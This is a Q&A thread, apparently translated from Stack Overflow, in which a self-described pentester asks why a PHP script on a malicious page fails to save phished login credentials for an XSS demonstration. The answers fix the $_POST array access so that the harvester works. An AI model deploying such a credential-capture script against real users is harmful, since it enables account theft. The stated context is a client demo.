发布的数据变量未被PHP脚本保存

时间:2011-10-05 12:15:01

标签: php variables post

我是(初级)笔测试员,我正在尝试制作一个脚本来向客户端演示XSS攻击的危险。我有一个用于登录用户的PHP脚本:当受害者(即我在演示中)被重定向到我正在托管的恶意页面时,传递组合。

这是登录源的一部分:

<input  type="text" id="form_login_username" name="form[login][username]" value=""       class="large" />
<input  type="password" id="form_login_password" name="form[login][password]" value="" class="large" />

我是php的新手,所以它可能是导致问题的基本内容。这是我的PHP脚本,用于记录详细信息:

<?PHP
$filename = "login_details.txt";
$username = $_POST["form[login][username]"]; 
$password = $_POST["form[login][password]"];
$fh = fopen($filename, "aw") or die("cannot open file");
fwrite($fh, $username . ":" . $password . "\r\n");
fclose($fh);

使用这个脚本我得到:

 Notice: Undefined index: form[login][username] in...

密码也一样。

我在isset中添加了以查看变量是否被设置,并且它们不是。

我知道脚本确实有效,因为我尝试使用其他一些简单的登录页面,它运行得很好。唯一的区别是在这种情况下用户名和密码发布变量的方括号 - 这可能是问题吗?我已经尝试过对它们进行编码,但无济于事:(

我出错的任何想法?谢谢=)

3 个答案:

答案 0 :(得分:4)

因为访问变量的有效方法是

$_POST['form']['login']['username']

只需执行var_dump($_POST);并查看您的帖子包含的内容

答案 1 :(得分:1)

请尝试使用表单名称属性...

name="formUsername"
name="formPasswd"

在接收脚本中......

$username = $_POST['formUsername']; 
$password = $_POST['formPasswd];

答案 2 :(得分:0)

你在这些领域周围有<form action="youscript.php" method="post">吗?